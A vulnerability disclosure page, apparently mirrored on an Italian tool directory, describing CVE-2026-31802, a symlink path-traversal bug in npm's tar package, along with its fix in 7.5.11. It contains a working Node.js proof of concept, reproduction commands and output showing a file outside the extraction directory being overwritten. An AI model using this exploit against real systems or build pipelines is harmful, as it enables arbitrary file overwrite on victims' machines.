Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/jvr2022/cve-2026-31802
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza della Supply Chain
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

Proof of concept e descrizione tecnica per CVE-2026-31802, un path traversal tramite symlink in npm tar che consente la sovrascrittura arbitraria di file al di fuori della directory di estrazione.

Vedi Repository
115 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31802: tar Attraversamento di Percorso tramite Symlink / Sovrascrittura Arbitraria di File

Ricerca: Joshua van Rijswijk

Descrizione

Questo repository contiene la mia proof of concept e il write-up per CVE-2026-31802, una vulnerabilità ad alta gravità nel pacchetto npm tar (node-tar) che interessa le versioni <= 7.5.10.

Ho scoperto che tar può essere indotto a creare un symlink che punta all'esterno della directory di estrazione prevista utilizzando un target symlink relativo all'unità come C:../../../target.txt. In pratica, ciò rende possibile sfuggire a cwd durante l'estrazione e trasformare l'estrazione di archivi in una primitive di sovrascrittura arbitraria di file.

Il bug è raggiungibile attraverso il normale comportamento di estrazione con archivi tar controllati dall'attaccante.

Contesto

Osservando come tar gestisce l'estrazione dei symlink, ho notato che alcuni valori linkpath venivano trattati in modo incoerente durante la sanitizzazione e la validazione. In particolare, percorsi relativi all'unità come:

root@kitploit:~
C:../../../target.txt

venivano riscritti prima dell'uso, ma non validati nella stessa forma in cui venivano infine memorizzati e applicati.

Questa discrepanza è ciò che rende sfruttabile il bug.

Causa Principale

La vulnerabilità deriva da come tar elabora valori linkpath di symlink appositamente costruiti durante l'estrazione.

Ad alto livello, la logica di estrazione rimuove il prefisso dell'unità da un percorso come:

root@kitploit:~
C:../../../target.txt

e lo riscrive come:

root@kitploit:~
../../../target.txt

Tuttavia, il controllo di sicurezza per l'attraversamento viene eseguito sul valore originale prima della rimozione del prefisso, mentre la creazione del symlink utilizza successivamente il valore riscritto.

Ciò significa che un archivio dannoso può superare la validazione utilizzando una forma del percorso, ma produrre comunque un symlink che attraversa l'esterno della directory di estrazione quando viene scritto su disco.

Flusso di Sfruttamento

Un archivio dannoso può contenere una voce symlink come questa:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

Quando viene estratto con un utilizzo normale come:

root@kitploit:~
tar.x({ cwd, file })

accade quanto segue:

  1. Il prefisso dell'unità viene rimosso da linkpath.
  2. Il controllo di fuga valuta ancora il valore originale.
  3. La voce viene accettata.
  4. Il symlink estratto viene creato con il percorso di attraversamento riscritto.
  5. Una successiva scrittura attraverso quel symlink raggiunge un file al di fuori di cwd.

In altre parole, la logica di estrazione valida un valore e ne utilizza un altro. Questo divario crea la primitive di attraversamento.

Proof of Concept

Ho scritto la seguente PoC per dimostrare che un symlink estratto può essere fatto puntare all'esterno della radice di estrazione e poi utilizzato per sovrascrivere un file al di fuori della directory di lavoro.

La PoC:

  • crea ../target.txt
  • costruisce un archivio tar dannoso con una voce symlink in a/b/l
  • imposta linkpath su C:../../../target.txt
  • estrae l'archivio nella directory corrente
  • scrive attraverso a/b/l
  • conferma che il file esterno è stato sovrascritto

Script PoC:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Riproduzione

Installare una versione vulnerabile

root@kitploit:~
npm install [email protected]

Eseguire la PoC

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

Output osservato

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED conferma che il file al di fuori della directory di estrazione è stato sovrascritto.

L'output di readlink e l'elenco dei file mostrano che il symlink estratto punta all'esterno della radice di estrazione prevista.

Impatto

Questo problema consente a un attaccante di ottenere una primitive di sovrascrittura arbitraria di file al di fuori della directory di estrazione prevista, con i permessi del processo che esegue l'estrazione.

Gli scenari realistici includono:

  • strumenti CLI che estraggono tarball non attendibili in una directory di lavoro
  • pipeline di build e aggiornamento che consumano archivi di terze parti
  • servizi che importano file tar forniti dall'utente
  • strumenti di sviluppo che decomprimono automaticamente bundle o artefatti

In questi ambienti, un archivio appositamente costruito può causare scritture al di fuori della directory che l'applicazione si aspetta di controllare.

Versioni Interessate

  • Interessate: tar <= 7.5.10
  • Corrette: tar 7.5.11

Correzione

Questo problema è stato corretto in 7.5.11.

Gli utenti dovrebbero aggiornare immediatamente:

root@kitploit:~
npm install tar@^7.5.11

Riferimenti

  • Advisory GitHub: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
Scarica lo strumento